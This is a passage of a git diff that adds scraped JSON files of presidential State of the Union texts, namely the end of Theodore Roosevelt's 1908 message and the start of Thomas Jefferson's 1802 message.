responsible\ncitizenship. On November 1 only eighteen agencies were left on the\nroster; with two exceptions, where some legal questions seemed to stand\ntemporarily in the way, these have been changed to superintendencies,\nand their heads brought into the classified civil service.SECRET SERVICE.Last year an amendment was incorporated in the measure providing for\nthe Secret Service, which provided that there should be no detail from\nthe Secret Service and no transfer therefrom. It is not too much to say\nthat this amendment has been of benefit only, and could be of benefit\nonly, to the criminal classes. If deliberately introduced for the\npurpose of diminishing the effectiveness of war against crime it could\nnot have been better devised to this end. It forbade the practices that\nhad been followed to a greater or less extent by the executive heads of\nvarious departments for twenty years. To these practices we owe the\nsecuring of the evidence which enabled us to drive great lotteries out\nof business and secure a quarter of a million of dollars in fines from\ntheir promoters. These practices have enabled us to get some of the\nevidence indispensable in order in connection with the theft of\ngovernment land and government timber by great corporations and by\nindividuals. These practices have enabled us to get some of the\nevidence indispensable in order to secure the conviction of the\nwealthiest and most formidable criminals with whom the Government has\nto deal, both those operating in violation of the anti-trust law and\nothers. The amendment in question was of benefit to no one excepting to\nthese criminals, and it seriously hampers the Government in the\ndetection of crime and the securing of justice. Moreover, it not only\naffects departments outside of the Treasury, but it tends to hamper the\nSecretary of the Treasury himself in the effort to utilize the\nemployees of his department so as to best meet the requirements of the\npublic service. It forbids him from preventing frauds upon the customs\nservice, from investigating irregularities in branch mints and assay\noffices, and has seriously crippled him. It prevents the promotion of\nemployees in the Secret Service, and this further discourages good\neffort. In its present form the restriction operates only to the\nadvantage of the criminal, of the wrongdoer. The chief argument in\nfavor of the provision was that the Congressmen did not themselves wish\nto be investigated by Secret Service men. Very little of such\ninvestigation has been done in the past; but it is true that the work\nof the Secret Service agents was partly responsible for the indictment\nand conviction of a Senator and a Congressman for land frauds in\nOregon. I do not believe that it is in the public interest to protect\ncriminally in any branch of the public service, and exactly as we have\nagain and again during the past seven years prosecuted and convicted\nsuch criminals who were in the executive branch of the Government, so\nin my belief we should be given ample means to prosecute them if found\nin the legislative branch. But if this is not considered desirable a\nspecial exception could be made in the law prohibiting the use of the\nSecret Service force in investigating members of the Congress. It would\nbe far better to do this than to do what actually was done, and strive\nto prevent or at least to hamper effective action against criminals by\nthe executive branch of the Government.POSTAL SAVINGS BANKS.I again renew my recommendation for postal savings hanks, for\ndepositing savings with the security of the Government behind them. The\nobject is to encourage thrift and economy in the wage-earner and person\nof moderate means. In 14 States the deposits in savings banks as\nreported to the Comptroller of the Currency amount to $3,590,245,402,\nor 98.4 per cent of the entire deposits, while in the remaining 32\nStates there are only $70,308,543, or 1.6 per cent, showing\nconclusively that there are many localities in the United States where\nsufficient opportunity is not given to the people to deposit their\nsavings. The result is that money is kept in hiding and unemployed. It\nis believed that in the aggregate vast sums of money would be brought\ninto circulation through the instrumentality of the postal savings\nbanks. While there are only 1,453 savings banks reporting to the\nComptroller there are more than 61,000 post-offices, 40,000 of which\nare money order offices. Postal savings banks are now in operation in\npractically all of the great civilized countries with the exception of\nthe United States.PARCEL POST.In my last annual message I commended the Postmaster-General's\nrecommendation for an extension of the parcel post on the rural routes.\nThe establishment of a local parcel post on rural routes would be to\nthe mutual benefit of the farmer and the country storekeeper, and it is\ndesirable that the routes, serving more than 15,000,000 people, should\nbe utilized to the fullest practicable extent. An amendment was\nproposed in the Senate at the last session, at the suggestion of the\nPostmaster-General, providing that, for the purpose of ascertaining the\npracticability of establishing a special local parcel post system on\nthe rural routes throughout the United States, the Postmaster-General\nbe authorized and directed to experiment and report to the Congress the\nresult of such experiment by establishing a special local parcel post\nsystem on rural delivery routes in not to exceed four counties in the\nUnited States for packages of fourth-class matter originating on a\nrural route or at the distributing post office for delivery by rural\ncarriers. It would seem only proper that such an experiment should be\ntried in order to demonstrate the practicability of the proposition,\nespecially as the Postmaster-General estimates that the revenue derived\nfrom the operation of such a system on all the rural routes would\namount to many million dollars.EDUCATION.The share that the National Government should take in the broad work of\neducation has not received the attention and the care it rightly\ndeserves. The immediate responsibility for the support and improvement\nof our educational systems and institutions rests and should always\nrest with the people of the several States acting through their state\nand local governments, but the Nation has an opportunity in educational\nwork which must not be lost and a duty which should no longer be\nneglected.The National Bureau of Education was established more than forty years\nago. Its purpose is to collect and diffuse such information \"as shall\naid the people of the United States in the establishment and\nmaintenance of efficient school systems and otherwise promote the cause\nof education throughout the country.\" This purpose in no way conflicts\nwith the educational work of the States, but may be made of great\nadvantage to the States by giving them the fullest, most accurate, and\nhence the most helpful information and suggestion regarding the best\neducational systems. The Nation, through its broader field of\nactivities, its wider opportunity for obtaining information from all\nthe States and from foreign countries, is able to do that which not\neven the richest States can do, and with the distinct additional\nadvantage that the information thus obtained is used for the immediate\nbenefit of all our people.With the limited means hitherto provided, the Bureau of Education has\nrendered efficient service, but the Congress has neglected to\nadequately supply the bureau with means to meet the educational growth\nof the country. The appropriations for the general work of the bureau,\noutside education in Alaska, for the year 1909 are but $87,500--an\namount less than they were ten years ago, and some of the important\nitems in these appropriations are less than they were thirty years ago.\nIt is an inexcusable waste of public money to appropriate an amount\nwhich is so inadequate as to make it impossible properly to do the work\nauthorized, and it is unfair to the great educational interests of the\ncountry to deprive them of the value of the results which can be\nobtained by proper appropriations.I earnestly recommend that this unfortunate state of affairs as regards\nthe national educational office be remedied by adequate appropriations.\nThis recommendation is urged by the representatives of our common\nschools and great state universities and the leading educators, who all\nunite in requesting favorable consideration and action by the Congress\nupon this subject.CENSUS.I strongly urge that the request of the Director of the Census in\nconnection with the decennial work so soon to be begun be complied with\nand that the appointments to the census force be placed under the civil\nservice law, waiving the geographical requirements as requested by the\nDirector of the Census. The supervisors and enumerators should not be\nappointed under the civil service law, for the reasons given by the\nDirector. I commend to the Congress the careful consideration of the\nadmirable report of the Director of the Census, and I trust that his\nrecommendations will be adopted and immediate action thereon taken.PUBLIC HEALTH.It is highly advisable that there should be intelligent action on the\npart of the Nation on the question of preserving the health of the\ncountry. Through the practical extermination in San Francisco of\ndisease-bearing rodents our country has thus far escaped the bubonic\nplague. This is but one of the many achievements of American health\nofficers; and it shows what can be accomplished with a better\norganization than at present exists. The dangers to public health from\nfood adulteration and from many other sources, such as the menace to\nthe physical, mental and moral development of children from child\nlabor, should be met and overcome. There are numerous diseases, which\nare now known to be preventable, which are, nevertheless, not\nprevented. The recent International Congress on Tuberculosis has made\nus painfully aware of the inadequacy of American public health\nlegislation. This Nation can not afford to lag behind in the world-wide\nbattle now being waged by all civilized people with the microscopic\nfoes of mankind, nor ought we longer to ignore the reproach that this\nGovernment takes more pains to protect the lives of hogs and of cattle\nthan of human beings.REDISTRIBUTION OF BUREAUS.The first legislative step to be taken is that for the concentration of\nthe proper bureaus into one of the existing departments. I therefore\nurgently recommend the passage of a bill which shall authorize a\nredistribution of the bureaus which shall best accomplish this end.GOVERNMENT PRINTING OFFICE.I recommend that legislation be enacted placing under the jurisdiction\nof the Department of Commerce and Labor the Government Printing Office.\nAt present this office is under the combined control, supervision, and\nadministrative direction of the President and of the Joint Committee on\nPrinting of the two Houses of the Congress. The advantage of having the\n4,069 employees in this office and the expenditure of the $5,761,377.57\nappropriated therefor supervised by an executive department is obvious,\ninstead of the present combined supervision.SOLDIERS' HOMES.All Soldiers' Homes should be placed under the complete jurisdiction\nand control of the War Department.INDEPENDENT BUREAUS AND COMMISSIONS.Economy and sound business policy require that all existing independent\nbureaus and commissions should be placed under the jurisdiction of\nappropriate executive departments. It is unwise from every standpoint,\nand results only in mischief, to have any executive work done save by\nthe purely executive bodies, under the control of the President; and\neach such executive body should be under the immediate supervision of a\nCabinet Minister.STATEHOOD.I advocate the immediate admission of New Mexico and Arizona as States.\nThis should be done at the present session of the Congress. The people\nof the two Territories have made it evident by their votes that they\nwill not come in as one State. The only alternative is to admit them as\ntwo, and I trust that this will be done without delay.INTERSTATE FISHERIES.I call the attention of the Congress to the importance of the problem\nof the fisheries in the interstate waters. On the Great Lakes we are\nnow, under the very wise treaty of April 11th of this year, endeavoring\nto come to an international agreement for the preservation and\nsatisfactory use of the fisheries of these waters which can not\notherwise be achieved. Lake Erie, for example, has the richest fresh\nwater fisheries in the world; but it is now controlled by the statutes\nof two Nations, four States, and one Province, and in this Province by\ndifferent ordinances in different counties. All these political\ndivisions work at cross purposes, and in no case can they achieve\nprotection to the fisheries, on the one hand, and justice to the\nlocalities and individuals on the other. The case is similar in Puget\nSound.But the problem is quite as pressing in the interstate waters of the\nUnited States. The salmon fisheries of the Columbia River are now but a\nfraction of what they were twenty-five years ago, and what they would\nbe now if the United States Government had taken complete charge of\nthem by intervening between Oregon and Washington. During these\ntwenty-five years the fishermen of each State have naturally tried to\ntake all they could get, and the two legislatures have never been able\nto agree on joint action of any kind adequate in degree for the\nprotection of the fisheries. At the moment the fishing on the Oregon\nside is practically closed, while there is no limit on the Washington\nside of any kind, and no one can tell what the courts will decide as to\nthe very statutes under which this action and non-action result.\nMeanwhile very few salmon reach the spawning grounds, and probably four\nyears hence the fisheries will amount to nothing; and this comes from a\nstruggle between the associated, or gill-net, fishermen on the one\nhand, and the owners of the fishing wheels up the river. The fisheries\nof the Mississippi, the Ohio, and the Potomac are also in a bad way.\nFor this there is no remedy except for the United States to control and\nlegislate for the interstate fisheries as part of the business of\ninterstate commerce. In this case the machinery for scientific\ninvestigation and for control already exists in the United States\nBureau of Fisheries. In this as in similar problems the obvious and\nsimple rule should be followed of having those matters which no\nparticular State can manage taken in hand by the United States;\nproblems which in the seesaw of conflicting State legislatures are\nabsolutely unsolvable are easy enough for Congress to control.FISHERIES AND FUR SEALS.The federal statute regulating interstate traffic in game should be\nextended to include fish. New federal fish hatcheries should be\nestablished. The administration of the Alaskan fur-seal service should\nbe vested in the Bureau of Fisheries.FOREIGN AFFAIRS.This Nation's foreign policy is based on the theory that right must be\ndone between nations precisely as between individuals, and in our\nactions for the last ten years we have in this matter proven our faith\nby our deeds. We have behaved, and are behaving, towards other nations\nas in private life an honorable man would behave towards his fellows.LATIN-AMERICAN REPUBLICS.The commercial and material progress of the twenty Latin-American\nRepublics is worthy of the careful attention of the Congress. No other\nsection of the world has shown a greater proportionate development of\nits foreign trade during the last ten years and none other has more\nspecial claims on the interest of the United States. It offers to-day\nprobably larger opportunities for the legitimate expansion of our\ncommerce than any other group of countries. These countries will want\nour products in greatly increased quantities, and we shall\ncorrespondingly need theirs. The International Bureau of the American\nRepublics is doing a useful work in making these nations and their\nresources better known to us, and in acquainting them not only with us\nas a people and with our purposes towards them, but with what we have\nto exchange for their goods. It is an international institution\nsupported by all the governments of the two Americas.PANAMA CANAL.The work on the Panama Canal is being done with a speed, efficiency and\nentire devotion to duty which make it a model for all work of the kind.\nNo task of such magnitude has ever before been undertaken by any\nnation; and no task of the kind has ever been better performed. The men\non the isthmus, from Colonel Goethals and his fellow commissioners\nthrough the entire list of employees who are faithfully doing their\nduty, have won their right to the ungrudging respect and gratitude of\nthe American people.OCEAN MAIL LINERS.I again recommend the extension of the ocean mail act of 1891 so that\nsatisfactory American ocean mail lines to South America, Asia, the\nPhilippines, and Australasia may be established. The creation of such\nsteamship lines should be the natural corollary of the voyage of the\nbattle fleet. It should precede the opening of the Panama Canal. Even\nunder favorable conditions several years must elapse before such lines\ncan be put into operation. Accordingly I urge that the Congress act\npromptly where foresight already shows that action sooner or later will\nbe inevitable.HAWAII.I call particular attention to the Territory of Hawaii. The importance\nof those islands is apparent, and the need of improving their condition\nand developing their resources is urgent. In recent years industrial\nconditions upon the islands have radically changed, The importation of\ncoolie labor has practically ceased, and there is now developing such a\ndiversity in agricultural products as to make possible a change in the\nland conditions of the Territory, so that an opportunity may be given\nto the small land owner similar to that on the mainland. To aid these\nchanges, the National Government must provide the necessary harbor\nimprovements on each island, so that the agricultural products can be\ncarried to the markets of the world. The coastwise shipping laws should\nbe amended to meet the special needs of the islands, and the alien\ncontract labor law should be so modified in its application to Hawaii\nas to enable American and European labor to be brought thither.We have begun to improve Pearl Harbor for a naval base and to provide\nthe necessary military fortifications for the protection of the\nislands, but I can not too strongly emphasize the need of\nappropriations for these purposes of such an amount as will within the\nshortest possible time make those islands practically impregnable. It\nis useless to develop the industrial conditions of the islands and\nestablish there bases of supply for our naval and merchant fleets\nunless we insure, as far as human ingenuity can, their safety from\nforeign seizure.One thing to be remembered with all our fortifications is that it is\nalmost useless to make them impregnable from the sea if they are left\nopen to land attack. This is true even of our own coast, but it is\ndoubly true of our insular possessions. In Hawaii, for instance, it is\nworse than useless to establish a naval station unless we establish it\nbehind fortifications so strong that no landing force can take them\nsave by regular and long-continued siege operations.THE PHILIPPINES.Real progress toward self-government is being made in the Philippine\nIslands. The gathering of a Philippine legislative body and Philippine\nassembly marks a process absolutely new in Asia, not only as regards\nAsiatic colonies of European powers but as regards Asiatic possessions\nof other Asiatic powers; and, indeed, always excepting the striking and\nwonderful example afforded by the great Empire of Japan, it opens an\nentirely new departure when compared with anything which has happened\namong Asiatic powers which are their own masters. Hitherto this\nPhilippine legislature has acted with moderation and self-restraint,\nand has seemed in practical fashion to realize the eternal truth that\nthere must always be government, and that the only way in which any\nbody of individuals can escape the necessity of being governed by\noutsiders is to show that they are able to restrain themselves, to keep\ndown wrongdoing and disorder. The Filipino people, through their\nofficials, are therefore making real steps in the direction of\nself-government. I hope and believe that these steps mark the beginning\nof a course which will continue till the Filipinos become fit to decide\nfor themselves whether they desire to be an independent nation. But it\nis well for them (and well also for those Americans who during the past\ndecade have done so much damage to the Filipinos by agitation for an\nimmediate independence for which they were totally unfit) to remember\nthat self-government depends, and must depend, upon the Filipinos\nthemselves. All we can do is to give them the opportunity to develop\nthe capacity for self-government. If we had followed the advice of the\nfoolish doctrinaires who wished us at any time during the last ten\nyears to turn the Filipino people adrift, we should have shirked the\nplainest possible duty and have inflicted a lasting wrong upon the\nFilipino people. We have acted in exactly the opposite spirit. We have\ngiven the Filipinos constitutional government--a government based upon\njustice--and we have shown that we have governed them for their good\nand not for our aggrandizement. At the present time, as during the past\nten years, the inexorable logic of facts shows that this government\nmust be supplied by us and not by them. We must be wise and generous;\nwe must help the Filipinos to master the difficult art of self-control,\nwhich is simply another name for self-government. But we can not give\nthem self-government save in the sense of governing them so that\ngradually they may, if they are able, learn to govern themselves. Under\nthe present system of just laws and sympathetic administration, we have\nevery reason to believe that they are gradually acquiring the character\nwhich lies at the basis of self-government, and for which, if it be\nlacking, no system of laws, no paper constitution, will in any wise\nserve as a substitute. Our people in the Philippines have achieved what\nmay legitimately be called a marvelous success in giving to them a\ngovernment which marks on the part of those in authority both the\nnecessary understanding of the people and the necessary purpose to\nserve them disinterestedly and in good faith. I trust that within a\ngeneration the time will arrive when the Philippines can decide for\nthemselves whether it is well for them to become independent, or to\ncontinue under the protection of a strong and disinterested power, able\nto guarantee to the islands order at home and protection from foreign\ninvasion. But no one can prophesy the exact date when it will be wise\nto consider independence as a fixed and definite policy. It would be\nworse than folly to try to set down such a date in advance, for it must\ndepend upon the way in which the Philippine people themselves develop\nthe power of self-mastery.PORTO RICO.I again recommend that American citizenship be conferred upon the\npeople of Porto Rico.CUBA.In Cuba our occupancy will cease in about two months' time, the Cubans\nhave in orderly manner elected their own governmental authorities, and\nthe island will be turned over to them. Our occupation on this occasion\nhas lasted a little over two years, and Cuba has thriven and prospered\nunder it. Our earnest hope and one desire is that the people of the\nisland shall now govern themselves with justice, so that peace and\norder may be secure. We will gladly help them to this end; but I would\nsolemnly warn them to remember the great truth that the only way a\npeople can permanently avoid being governed from without is to show\nthat they both can and will govern themselves from within.JAPANESE EXPOSITION.The Japanese Government has postponed until 1917 the date of the great\ninternational exposition, the action being taken so as to insure ample\ntime in which to prepare to make the exposition all that it should be\nmade. The American commissioners have visited Japan and the\npostponement will merely give ampler opportunity for America to be\nrepresented at the exposition. Not since the first international\nexposition has there been one of greater importance than this will be,\nmarking as it does the fiftieth anniversary of the ascension to the\nthrone of the Emperor of Japan. The extraordinary leap to a foremost\nplace among the nations of the world made by Japan during this half\ncentury is something unparalleled in all previous history. This\nexposition will fitly commemorate and signalize the giant progress that\nhas been achieved. It is the first exposition of its kind that has ever\nbeen held in Asia. The United States, because of the ancient friendship\nbetween the two peoples, because each of us fronts on the Pacific, and\nbecause of the growing commercial relations between this country and\nAsia, takes a peculiar interest in seeing the exposition made a success\nin every way.I take this opportunity publicly to state my appreciation of the way in\nwhich in Japan, in Australia, in New Zealand, and in all the States of\nSouth America, the battle fleet has been received on its practice\nvoyage around the world. The American Government can not too strongly\nexpress its appreciation of the abounding and generous hospitality\nshown our ships in every port they visited.THE ARMY.As regards the Army I call attention to the fact that while our junior\nofficers and enlisted men stand very high, the present system of\npromotion by seniority results in bringing into the higher grades many\nmen of mediocre capacity who have but a short time to serve. No man\nshould regard it as his vested right to rise to the highest rank in the\nArmy any more than in any other profession. It is a curious and by no\nmeans creditable fact that there should be so often a failure on the\npart of the public and its representatives to understand the great\nneed, from the standpoint of the service and the Nation, of refusing to\npromote respectable, elderly incompetents. The higher places should be\ngiven to the most deserving men without regard to seniority; at least\nseniority should be treated as only one consideration. In the stress of\nmodern industrial competition no business firm could succeed if those\nresponsible for its management were chosen simply on the ground that\nthey were the oldest people in its employment; yet this is the course\nadvocated as regards the Army, and required by law for all grades\nexcept those of general officer. As a matter of fact, all of the best\nofficers in the highest ranks of the Army are those who have attained\ntheir present position wholly or in part by a process of selection.The scope of retiring boards should be extended so that they could\nconsider general unfitness to command for any cause, in order to secure\na far more rigid enforcement than at present in the elimination of\nofficers for mental, physical or temperamental disabilities. But this\nplan is recommended only if the Congress does not see fit to provide\nwhat in my judgment is far better; that is, for selection in promotion,\nand for elimination for age. Officers who fail to attain a certain rank\nby a certain age should be retired--for instance, if a man should not\nattain field rank by the time he is 45 he should of course be placed on\nthe retired list. General officers should be selected as at present,\nand one-third of the other promotions should be made by selection, the\nselection to be made by the President or the Secretary of War from a\nlist of at least two candidates proposed for each vacancy by a board of\nofficers from the arm of the service from which the promotion is to be\nmade. A bill is now before the Congress having for its object to secure\nthe promotion of officers to various grades at reasonable ages through\na process of selection, by boards of officers, of the least efficient\nfor retirement with a percentage of their pay depending upon length of\nservice. The bill, although not accomplishing all that should be done,\nis a long step in the right direction; and I earnestly recommend its\npassage, or that of a more completely effective measure.The cavalry arm should be reorganized upon modern lines. This is an arm\nin which it is peculiarly necessary that the field officers should not\nbe old. The cavalry is much more difficult to form than infantry, and\nit should be kept up to the maximum both in efficiency and in strength,\nfor it can not be made in a hurry. At present both infantry and\nartillery are too few in number for our needs. Especial attention\nshould be paid to development of the machine gun. A general service\ncorps should be established. As things are now the average soldier has\nfar too much labor of a nonmilitary character to perform.NATIONAL GUARD.Now that the organized militia, the National Guard, has been\nincorporated with the Army as a part of the national forces, it\nbehooves the Government to do every reasonable thing in its power to\nperfect its efficiency. It should be assisted in its instruction and\notherwise aided more liberally than heretofore. The continuous services\nof many well-trained regular officers will be essential in this\nconnection. Such officers must be specially trained at service schools\nbest to qualify them as instructors of the National Guard. But the\ndetailing of officers for training at the service schools and for duty\nwith the National Guard entails detaching them from their regiments\nwhich are already greatly depleted by detachment of officers for\nassignment to duties prescribed by acts of the Congress.A bill is now pending before the Congress creating a number of extra\nofficers in the Army, which if passed, as it ought to be, will enable\nmore officers to be trained as instructors of the National Guard and\nassigned to that duty. In case of war it will be of the utmost\nimportance to have a large number of trained officers to use for\nturning raw levies into good troops.There should be legislation to provide a complete plan for organizing\nthe great body of volunteers behind the Regular Army and National Guard\nwhen war has come. Congressional assistance should be given those who\nare endeavoring to promote rifle practice so that our men, in the\nservices or out of them, may know how to use the rifle. While teams\nrepresenting the United States won the rifle and revolver championships\nof the world against all comers in England this year, it is\nunfortunately true that the great body of our citizens shoot less and\nless as time goes on. To meet this we should encourage rifle practice\namong schoolboys, and indeed among all classes, as well as in the\nmilitary services, by every means in our power. Thus, and not\notherwise, may we be able to assist in preserving the peace of the\nworld. Fit to hold our own against the strong nations of the earth, our\nvoice for peace will carry to the ends of the earth. Unprepared, and\ntherefore unfit, we must sit dumb and helpless to defend ourselves,\nprotect others, or preserve peace. The first step--in the direction of\npreparation to avert war if possible, and to be fit for war if it\nshould come--is to teach our men to shoot.THE NAVY.I approve the recommendations of the General Board for the increase of\nthe Navy, calling especial attention to the need of additional\ndestroyers and colliers, and above all, of the four battleships. It is\ndesirable to complete as soon as possible a squadron of eight\nbattleships of the best existing type. The North Dakota, Delaware,\nFlorida, and Utah will form the first division of this squadron. The\nfour vessels proposed will form the second division. It will be an\nimprovement on the first, the ships being of the heavy, single caliber,\nall big gun type. All the vessels should have the same tactical\nqualities--that is, speed and turning circle--and as near as possible\nthese tactical qualities should be the same as in the four vessels\nbefore named now being built.I most earnestly recommend that the General Board be by law turned into\na General Staff. There is literally no excuse whatever for continuing\nthe present bureau organization of the Navy. The Navy should be treated\nas a purely military organization, and everything should be\nsubordinated to the one object of securing military efficiency. Such\nmilitary efficiency can only be guaranteed in time of war if there is\nthe most thorough previous preparation in time of peace--a preparation,\nI may add, which will in all probability prevent any need of war. The\nSecretary must be supreme, and he should have as his official advisers\na body of line officers who should themselves have the power to pass\nupon and coordinate all the work and all the proposals of the several\nbureaus. A system of promotion by merit, either by selection or by\nexclusion, or by both processes, should be introduced. It is out of the\nquestion, if the present principle of promotion by mere seniority is\nkept, to expect to get the best results from the higher officers. Our\nmen come too old, and stay for too short a time, in the high command\npositions.Two hospital ships should be provided. The actual experience of the\nhospital ship with the fleet in the Pacific has shown the invaluable\nwork which such a ship does, and has also proved that it is well to\nhave it kept under the command of a medical officer. As was to be\nexpected, all of the anticipations of trouble from such a command have\nproved completely baseless. It is as absurd to put a hospital ship\nunder a line officer as it would be to put a hospital on shore under\nsuch a command. This ought to have been realized before, and there is\nno excuse for failure to realize it now.Nothing better for the Navy from every standpoint has ever occurred\nthan the cruise of the battle fleet around the world. The improvement\nof the ships in every way has been extraordinary, and they have gained\nfar more experience in battle tactics than they would have gained if\nthey had stayed in the Atlantic waters. The American people have cause\nfor profound gratification, both in view of the excellent condition of\nthe fleet as shown by this cruise, and in view of the improvement the\ncruise has worked in this already high condition. I do not believe that\nthere is any other service in the world in which the average of\ncharacter and efficiency in the enlisted men is as high as is now the\ncase in our own. I believe that the same statement can be made as to\nour officers, taken as a whole; but there must be a reservation made in\nregard to those in the highest ranks--as to which I have already\nspoken--and in regard to those who have just entered the service;\nbecause we do not now get full benefit from our excellent naval school\nat Annapolis. It is absurd not to graduate the midshipmen as ensigns;\nto keep them for two years in such an anomalous position as at present\nthe law requires is detrimental to them and to the service. In the\nacademy itself, every first classman should be required in turn to\nserve as petty officer and officer; his ability to discharge his duties\nas such should be a prerequisite to his going into the line, and his\nsuccess in commanding should largely determine his standing at\ngraduation. The Board of Visitors should be appointed in January, and\neach member should be required to give at least six days' service, only\nfrom one to three days' to be performed during June week, which is the\nleast desirable time for the board to be at Annapolis so far as\nbenefiting the Navy by their observations is concerned.THE WHITE HOUSE,Tuesday, December 8, 1908.", 
+    "name": "Theodore Roosevelt"
+}
\ No newline at end of file
diff --git a/pyscrapper/stateofunion/ScrapedData/Thomas JeffersonDecember 15, 1802.json b/pyscrapper/stateofunion/ScrapedData/Thomas JeffersonDecember 15, 1802.json
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@@ -0,0 +1,5 @@
+{
+    "date": "December 15, 1802", 
+    "speech": "To the Senate and House of Representatives:When we assemble together, fellow citizens, to consider the state of our\nbeloved country, our just attentions are first drawn to those pleasing\ncircumstances which mark the goodness of that Being from whose favor they\nflow and the large measure of thankfulness we owe for His bounty. Another\nyear has come around, and finds us still blessed with peace and friendship\nabroad; law, order, and religion at home; good affection and harmony with\nour Indian neighbors; our burthens lightened, yet our income sufficient for\nthe public wants, and the produce of the year great beyond example. These,\nfellow citizens, are the circumstances under which we meet, and we remark\nwith special satisfaction those which under the smiles of Providence result\nfrom the skill, industry, and order of our citizens, managing their own\naffairs in their own way and for their own use, unembarrassed by too much\nregulation, unoppressed by fiscal exactions.On the restoration of peace in Europe that portion of the general carrying\ntrade which had fallen to our share during the war was abridged by the\nreturning competition of the belligerent powers. This was to be expected,\nand was just. But in addition we find in some parts of Europe monopolizing\ndiscriminations, which in the form of duties tend effectually to prohibit\nthe carrying thither our own produce in our own vessels. From existing\namities and a spirit of justice it is hoped that friendly discussion will\nproduce a fair and adequate reciprocity. But should false calculations of\ninterest defeat our hope, it rests with the Legislature to decide whether\nthey will meet inequalities abroad with countervailing inequalities at\nhome, or provide for the evil in any other way.It is with satisfaction I lay before you an act of the British Parliament\nanticipating this subject so far as to authorize a mutual abolition of the\nduties and countervailing duties permitted under the treaty of 1794. It\nshows on their part a spirit of justice and friendly accommodation which it\nis our duty and our interest to cultivate with all nations. Whether this\nwould produce a due equality in the navigation between the two countries is\na subject for your consideration.Another circumstance which claims attention as directly affecting the very\nsource of our navigation is the defect or the evasion of the law providing\nfor the return of sea men, and particularly of those belonging to vessels\nsold abroad. Numbers of them, discharged in foreign ports, have been thrown\non the hands of our consuls, who, to rescue them from the dangers into\nwhich their distresses might plunge them and save them to their country,\nhave found it necessary in some cases to return them at the public charge.The cession of the Spanish Province of Louisiana to France, which took\nplace in the course of the late war, will, if carried into effect, make a\nchange in the aspect of our foreign relations which will doubtless have\njust weight in any deliberations of the Legislature connected with that\nsubject.There was reason not long since to apprehend that the warfare in which we\nwere engaged with Tripoli might be taken up by some other of the Barbary\nPowers. A reenforcement, therefore, was immediately ordered to the vessels\nalready there. Subsequent information, however, has removed these\napprehensions for the present. To secure our commerce in that sea with the\nsmallest force competent, we have supposed it best to watch strictly the\nharbor of Tripoli. Still, however, the shallowness of their coast and the\nwant of smaller vessels on our part has permitted some cruisers to escape\nunobserved, and to one of these an American vessel unfortunately fell prey.\nThe captain, one American sea man, and two others of color remain prisoners\nwith them unless exchanged under an agreement formerly made with the\nBashaw, to whom, on the faith of that, some of his captive subjects had\nbeen restored.The convention with the State of Georgia has been ratified by their\nlegislature, and a repurchase from the Creeks has been consequently made of\na part of the Talasscee country. In this purchase has been also\ncomprehended a part of the lands within the fork of Oconee and Oakmulgee\nrivers. The particulars of the contract will be laid before Congress so\nsoon as they shall be in a state for communication.In order to remove every ground of difference possible with our Indian\nneighbors, I have proceeded in the work of settling with them and marking\nthe boundaries between us. That with the Choctaw Nation is fixed in one\npart and will be through the whole within a short time. The country to\nwhich their title had been extinguished before the Revolution is sufficient\nto receive a very respectable population, which Congress will probably see\nthe expediency of encouraging so soon as the limits shall be declared. We\nare to view this position as an outpost of the United States, surrounded by\nstrong neighbors and distant from its support; and how far that monopoly\nwhich prevents population should here be guarded against and actual\nhabitation made a condition of the continuance of title will be for your\nconsideration. A prompt settlement, too, of all existing rights and claims\nwithin this territory presents itself as a preliminary operation.In that part of the Indiana Territory which includes Vincennes the lines\nsettled with the neighboring tribes fix the extinction of their title at a\nbreadth of 24 leagues from east to west and about the same length parallel\nwith and including the Wabash. They have also ceded a tract of 4 miles\nsquare, including the salt springs near the mouth of that river.In the Department of Finance it is with pleasure I inform you, that the\nreceipts of external duties for the last 12 months have exceeded those of\nany former year, and that the ration of increase has been also greater than\nusual. This has enabled us to answer all the regular exigencies of\nGovernment, to pay from the Treasury within one year upward of $8 millions,\nprincipal and interest, of the public debt, exclusive of upward of $1\nmillion paid by the sale of bank stock, and making in the whole a\nreduction of nearly $5.5 millions of principal, and to have now in the\nTreasury $4.5 millions which are in a course of application to the\nfurther discharge of debt and current demands. Experience, too, so far,\nauthorizes us to believe, if no extraordinary event supervenes, and the\nexpenses which will be actually incurred shall not be greater than were\ncontemplated by Congress at their last session, that we shall not be\ndisappointed in the expectations then formed. But nevertheless, as the\neffect of peace on the amount of duties is not yet fully ascertained, it\nis the more necessary to practice every useful economy and to incur no\nexpense which may be avoided without prejudice.The collection of the internal taxes having been completed in some of the\nStates, the officers employed in it are of course out of commission. In\nothers they will be so shortly. But in a few, where the arrangements for\nthe direct tax had been retarded, it will be some time before the system is\nclosed. It has not yet been thought necessary to employ the agent\nauthorized by an act of the last session for transacting business in Europe\nrelative to debts and loans. Nor have we used the power confided by the\nsame act of prolonging the foreign debt by reloans, and of redeeming\ninstead thereof an equal sum of the domestic debt. Should, however, the\ndifficulties of remittance on so large a scale render it necessary at any\ntime, the power shall be executed and the money thus employed abroad shall,\nin conformity with that law, be faithfully applied here in an equivalent\nextinction of domestic debt.When effects so salutary result from the plans you have already sanctioned;\nwhen merely by avoiding false objects of expense we are able, without a\ndirect tax, without internal taxes, and without borrowing to make large and\neffectual payments toward the discharge of our public debt and the\nemancipation of our posterity from that mortal canker, it is an\nencouragement, fellow citizens, of the highest order to proceed as we have\nbegun in substituting economy for taxation, and in pursuing what is useful\nfor a nation placed as we are, rather than what is practiced by others\nunder different circumstances. And when so ever we are destined to meet\nevents which shall call forth all the energies of our country-men, we have\nthe firmest reliance on those energies and the comfort of leaving for calls\nlike these the extraordinary resources of loans and internal taxes. In the\nmean time, by payments of the principal of our debt, we are liberating\nannually portions of the external taxes and forming from them a growing\nfund still further to lessen the necessity of recurring to extraordinary\nresources.The usual account of receipts and expenditures for the last year, with an\nestimate of the expenses of the ensuing one, will be laid before you by the\nSecretary of the Treasury.No change being deemed necessary in our military establishment, an estimate\nof its expenses for the ensuing year on its present footing, as also of the\nsums to be employed in fortifications and other objects within that\ndepartment, has been prepared by the Secretary of War, and will make a part\nof the general estimates which will be presented you.Considering that our regular troops are employed for local purposes, and\nthat the militia is our general reliance for great and sudden emergencies,\nyou will doubtless think this institution worthy of a review, and give it\nthose improvements of which you find it susceptible.Estimates for the Naval Department, prepared by the Secretary of the Navy,\nfor another year will in like manner be communicated with the general\nestimates. A small force in the Mediterranean will still be necessary to\nrestrain the Tripoline cruisers, and the uncertain tenure of peace with\nsome other of the Barbary Powers may eventually require that force to be\naugmented. The necessity of procuring some smaller vessels for that service\nwill raise the estimate, but the difference in their maintenance will soon\nmake it a measure of 